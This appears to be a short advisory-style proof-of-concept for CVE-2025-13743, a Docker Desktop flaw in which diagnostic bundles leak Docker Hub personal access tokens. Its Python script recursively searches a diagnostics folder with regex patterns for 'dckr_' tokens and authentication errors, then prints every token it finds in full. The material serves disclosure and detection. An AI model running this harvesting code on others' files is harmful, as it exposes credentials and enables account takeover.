CVE-2025-13743: Docker Desktop诊断包泄露过期Hub PAT令牌信息泄露漏洞

# CVE-2025-13743 PoC - Docker Desktop Diagnostic PAT Extraction # This PoC demonstrates how to extract leaked PATs from Docker Desktop diagnostics import json import re import os import glob def search_for_pat_in_diagnostics(directory_path): """ Search for Docker Hub Personal Access Tokens in diagnostic files """ # Docker Hub PAT pattern (typically starts with 'dckr_') pat_pattern = r'dckr_[a-zA-Z0-9_-]{20,}' leaked_tokens = [] # Search through all text files in the diagnostic directory for file_path in glob.glob(os.path.join(directory_path, '**/*'), recursive=True): if os.path.isfile(file_path): try: with open(file_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() # Look for PAT tokens matches = re.findall(pat_pattern, content) if matches: for token in matches: leaked_tokens.append({ 'token': token, 'source_file': file_path }) except Exception as e: print(f"Error reading {file_path}: {e}") return leaked_tokens def extract_authentication_errors(diagnostic_path): """ Extract authentication-related errors that may contain PATs """ auth_error_pattern = r'(401|403|Unauthorized|Access Denied).*?(dckr_[a-zA-Z0-9_-]+)' errors = [] for file_path in glob.glob(os.path.join(diagnostic_path, '**/*'), recursive=True): if os.path.isfile(file_path): with open(file_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() matches = re.findall(auth_error_pattern, content, re.IGNORECASE | re.DOTALL) errors.extend(matches) return errors # Usage example if __name__ == "__main__": diagnostic_path = "./docker-desktop-diagnostics/" print("=== CVE-2025-13743 Docker Desktop PAT Leak Scanner ===") # Search for leaked PATs leaked = search_for_pat_in_diagnostics(diagnostic_path) if leaked: print(f"\n[ALERT] Found {len(leaked)} potentially leaked PAT(s):") for item in leaked: print(f" Token: {item['token']}") print(f" Source: {item['source_file']}") else: print("No leaked PATs found in diagnostics") # Extract auth errors auth_errors = extract_authentication_errors(diagnostic_path) if auth_errors: print(f"\nFound {len(auth_errors)} authentication error(s) containing potential PATs")